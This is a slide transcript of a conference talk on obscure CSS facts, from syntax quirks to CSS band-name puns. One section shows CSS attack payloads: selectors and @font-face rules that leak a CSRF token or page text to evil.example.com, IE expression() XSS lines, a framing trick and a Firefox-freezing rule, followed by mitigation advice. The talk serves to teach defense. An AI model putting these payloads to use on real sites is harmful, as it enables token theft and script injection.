3.14 things I didn’t know about CSS @ CSSConf.asia 2015

3.14 things I didn’t know about CSS @ CSSConf.asia 2015

This talk showcases a series of obscure CSS fun facts, such as CSS syntax gimmicks and quirks, weird tricks that involve CSS in one way or another, and security vulnerabilities that are enabled by (ab)using CSS in unexpected ways.

Video: https://www.youtube.com/watch?v=KPL-mA77bDo

24e08a9ea84deb17ae121074d0f17125?s=128

Mathias Bynens

November 18, 2015
Tweet

Transcript

  1. @mathias · #devfestasia 3.14 things I didn’t know about CSS

  2. @mathias

  3. !important

  4. !important .foo .bar { color: red; } .bar { color:

    green; }
  5. mths.be/bsh

  6. .foo .bar { color: red; } .bar { color: green

    !important; } !important
  7. mths.be/bsh

  8. .foo .bar { color: red; } .bar { color: green

    !important; } !important
  9. .foo .bar { color: red; } .bar { color: green

    !important; } !important ✘
  10. .foo .bar { color: red; } .bar.bar.bar.bar.bar.bar.bar.bar { color: green;

    } New !important best practice ✔ * not really *
  11. mths.be/bsh

  12. Font family names

  13. Font family names in CSS html {
 font-family: 'Comic Sans

    MS';
 } “If there’s whitespace in the font family name, it must be quoted.”
  14. Font family names in CSS html {
 font-family: Comic Sans

    MS;
 } “If there’s whitespace in the font family name, it must be quoted.” mths.be/bft
  15. Font family names in CSS html {
 font-family: 456bereastreet;
 }

  16. Font family names in CSS html {
 font-family: 456bereastreet;
 }

  17. Font family names in CSS html {
 font-family: \34 56bereastreet;


    }
  18. Font family names in CSS html {
 font-family: \34 56bereastreet;


    }
  19. Font family names in CSS html {
 font-family: '456bereastreet';
 }

  20. mths.be/bjm

  21. Attribute values

  22. Attribute values <a href="foo">…</a> <style> a[href="foo"] { background: hotpink; }

    </style>
  23. Unquoted attribute values <a href=foo>…</a> <style> a[href=foo] { background: hotpink;

    } </style>
  24. Unquoted attribute values <a href=foo|bar>…</a> <style> a[href=foo|bar] { background: hotpink;

    } </style>
  25. Unquoted attribute values <a href=foo|bar>…</a> <style> a[href=foo|bar] { background: hotpink;

    } </style>
  26. Unquoted attribute values <a href=foo|bar>…</a> <style> a[href="foo|bar"] { background: hotpink;

    } </style>
  27. Unquoted attribute values mths.be/bjn

  28. CSS comments

  29. CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center;

    }
  30. CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center;

    } ✔
  31. CSS comments .some-selector { background: hotpink; //color: red; text-align: center;

    }
  32. CSS comments .some-selector { background: hotpink; //color: red; text-align: center;

    } ✘
  33. CSS comments .some-selector { background: hotpink; //color: red; text-align: center;

    } ✔ mths.be/brz
  34. .some-selector { background: hotpink; colour: red; text-align: center; } CSS

    comments mths.be/brz
  35. .some-selector { background: hotpink; colour: red; text-align: center; } CSS

    comments mths.be/brz
  36. .some-selector { background: hotpink; colour: red; text-align: center; } CSS

    comments mths.be/brz
  37. .some-selector { background: hotpink; colour: red; text-align: center; } ✔

    CSS comments mths.be/brz
  38. mths.be/brz

  39. HTML tags

  40. Valid HTML <!DOCTYPE html>
 <html>
 <head>
 <title>Foo</title>
 </head>
 <body>
 …


    </body>
 </html>
  41. Valid HTML <!DOCTYPE html>
 <html>
 <head>
 <title>Foo</title>
 </head>
 <body>
 …


    </body>
 </html>
  42. Valid HTML <!DOCTYPE html>
 <html>
 <head>
 <title>Huh?</title>
 <body>
 …


  43. Valid HTML <!DOCTYPE html>
 <html>
 <head>
 <title>Huh?</title>
 <body>
 …


  44. Valid HTML <!DOCTYPE html>
 <title>lolwut</title>
 …


  45. None
  46. Using CSS without HTML

  47. “No JS” <link href="nojs.css" rel="stylesheet"> mths.be/bsf

  48. mths.be/bsf

  49. None
  50. None
  51. $ curl -i https://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK Date: Fri, 06

    Nov 2015 13:33:37 GMT Link: <css-without-html.css>;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 CSS without HTML mths.be/bpe
  52. $ curl -i https://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK Date: Fri, 06

    Nov 2015 13:33:37 GMT Link: <css-without-html.css>;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 CSS without HTML mths.be/bpe
  53. None
  54. mths.be/bsb

  55. U̶̓̄̈̄̉ ̦ ̖̫̖̻ nẛ̥ḯ ͎͈̪ ̇͋cͯ̃̂̀̉ ̲̰̝ oͥ͢ ̮̠͈͍̱ d̃ͨͫ

    ̤̻͉̞ ȩ̭̟̳̳̪͈ ̔͑̃ ̐ͣ̓͊ ͈̬̘̹͙̙ i ͥ̈́ͮ͛͒ ̨ ̻nͩ̉̅̈́̇̒͑ ̼̥̦̣ ̭̙̹ ̇ͮͥͭ̇͌ ̠Cͤ̋ͯ̑̏̈́ͥ ͍̦ ̯̠̘͎ Sͥ͊̔̋ ̞̣ ̜̪̲̗ Sͧ̊ ͛ ̮̞
  56. Classes and IDs in HTML <p class="404-error">…</p> <small class="©">legalese</small> <p

    id="♥">HTML 4 lyfe, homes!</p> <blockquote class="“”">LOL</blockquote> <p id=" ⌘⌥ ">…</p> <p class="⚠">Warning: …</p> <p id=""">Outdated browser detected.</p> mths.be/afd
  57. Classes and IDs in HTML <p id="#id">Good luck styling me!</p>

    <p class=".class">heh</p> <p id="#id.class:hover{}">huh</p> <p id="[attr='value']">wat</p> mths.be/afd
  58. mths.be/bsc

  59. Escaping CSS selectors <p id="#id"> #\#id { } <p class=".class">

    .\.class { } <p id="#id.class:hover{}"> #\#id\.class\:hover\{\} { } #\#id\.class\3A hover\{\} { } <p class="[attr='value']"> .\[attr\=\'value\'\] { } <p id="404-error"> #\34 04-error { }
  60. Escaping CSS selectors <p id="#©"> #© { } #\A9 {

    } <p class="♥"> .♥ { } .\2665 { } <p id="“”"> #“” { } #\201C \201D { } <p class="""> ." { } .\1F4A9 { }
  61. Escaping CSS selectors mths.be/bsd

  62. mths.be/bpo

  63. mths.be/cssescape

  64. Escaping CSS selectors var id = location.hash.slice(1); var $el =

    $('#' + id); // … mths.be/cssescape
  65. Escaping CSS selectors var id = location.hash.slice(1); var $el =

    $('#' + id); // … var $a = $('a[href="' + someValue + '"]'); // … mths.be/cssescape
  66. Escaping CSS selectors var id = location.hash.slice(1); var $el =

    $('#' + id); // … var $a = $('a[href="' + someValue + '"]'); // … mths.be/cssescape ✘
  67. Escaping CSS selectors var id = location.hash.slice(1); var $el =

    $('#' + CSS.escape(id)); // … var $a = $('a[href="' + CSS.escape(someValue) + '"]'); // … mths.be/cssescape ✔
  68. Using CSS for #evil$

  69. XSS

  70. mths.be/bry

  71. Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  72. What’s the worst you can do if you have control

    over a page’s CSS?
  73. <style> p { color: <%= USER_COLOR %>; } </style> <p>

    Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> --> Injection contexts
  74. <style> p { color: <%= USER_COLOR %>; } </style> <p>

    Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> --> Injection contexts
  75. None
  76. None
  77. None
  78. None
  79. None
  80. None
  81. None
  82. None
  83. None
  84. None
  85. None
  86. <input type="hidden" name="csrf-token" id="csrf" value="abcdef…"> Stealing data from the DOM

    mths.be/bsj
  87. #csrf[value^="a"] { background: url(//evil.example.com/?v=a); } #csrf[value^="b"] { background: url(//evil.example.com/?v=b); }

    #csrf[value^="c"] { background: url(//evil.example.com/?v=c); } /* … */ Leaking an attribute value mths.be/bsj
  88. mths.be/bsj

  89. mths.be/bsj

  90. <div id="sensitive- information">abcdefg</div> Stealing data from the DOM mths.be/bsj

  91. @font-face { font-family: h4x0r; src: url(//evil.example.com/?v=A); unicode-range: U+0041; } #sensitive-information

    { font-family: h4x0r; } Leaking unique symbols from a text node mths.be/bup
  92. mths.be/buo

  93. <style> #myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth

    / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 7 mths.be/brw
  94. <style> #myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth

    / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 7 mths.be/brw
  95. * { width: expression( alert('XSS through CSS') ); } CSS

    Expressions in IE ≤ 7 mths.be/brw
  96. None
  97. * { width: expression( window.open('//evil.example.com/') ); } CSS Expressions in

    IE ≤ 7 mths.be/brw
  98. None
  99. None
  100. <meta http-equiv="X-UA-Compatible" content="IE=Edge"> IE’s legacy document modes mths.be/brx

  101. <meta http-equiv="X-UA-Compatible" content="IE=7"> IE’s legacy document modes mths.be/brx

  102. <meta http-equiv="X-UA-Compatible" content="IE=7"> <style> #myDiv { background: hotpink; position: absolute;

    left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 10 mths.be/brx
  103. <meta http-equiv="X-UA-Compatible" content="IE=7"> <iframe src="https://target.example.com/ page-containing-css-payload"> </iframe> CSS Expressions in

    IE ≤ 10 mths.be/bpu
  104. 1. sanitize user input before injecting it in a CSS

    context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY
 3. use <!DOCTYPE html> How to avoid CSS expression vulnerabilities? mths.be/bpu
  105. 1. sanitize user input before injecting it in a CSS

    context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY
 3. use <!DOCTYPE html> How to avoid CSS expression vulnerabilities? mths.be/bpu
  106. * { background: url('javascript:while(true){}'); } Freezing Firefox mths.be/bsa

  107. mths.be/brs

  108. mths.be/brs

  109. One More Thing™ #cssbandnames

  110. kbd { color: black; } What band is this? #cssbandnames

  111. kbd { color: black; } What band is this? The

    Black Keys #cssbandnames
  112. The Black Keys

  113. :root { background: #f00; } What band is this? #cssbandnames

  114. :root { background: #f00; } What band is this? Simply

    Red #cssbandnames
  115. Simply Red

  116. head { display: block; content: '\1F4FB '; } What band

    is this? #cssbandnames
  117. head { display: block; content: '\1F4FB '; } What band

    is this? %head #cssbandnames
  118. Radiohead

  119. hr { height: 1px; border: 0; background: hsl(0, 0%, 100%);

    } What band is this? #cssbandnames
  120. hr { height: 1px; border: 0; background: hsl(0, 0%, 100%);

    } What band is this? The White Stripes #cssbandnames
  121. The White Stripes

  122. .red-door { background-image: url(red-door.jpg); background-blend-mode: multiply; background-color: #000; } What

    song is this?
  123. .red-door { background-image: url(red-door.jpg); background-blend-mode: multiply; background-color: #000; } What

    song is this? Paint It Black by The Rolling Stones
  124. The Rolling Stones

  125. input[type="date"] { color: rgb(0, 255, 0); } What band is

    this? #cssbandnames
  126. input[type="date"] { color: rgb(0, 255, 0); } What band is

    this? Green Day #cssbandnames
  127. Green Day

  128. ed, emacs, nano, vi { font-family: monospace; } What band

    is this? #cssbandnames
  129. ed, emacs, nano, vi { font-family: monospace; } What band

    is this? Editors #cssbandnames
  130. Editors

  131. p i { color: black; } What band is this?

    #cssbandnames
  132. p i { color: black; } What band is this?

    The Black <i>’d <p>s #cssbandnames
  133. The Black <i>’d <p>s

  134. Thanks to: Simon Pieters Tab Atkins Martin Kool Mario Heiderich

    Frederik Braun Mike West Divya Manian Masato Kinugawa
  135. Thanks! @mathias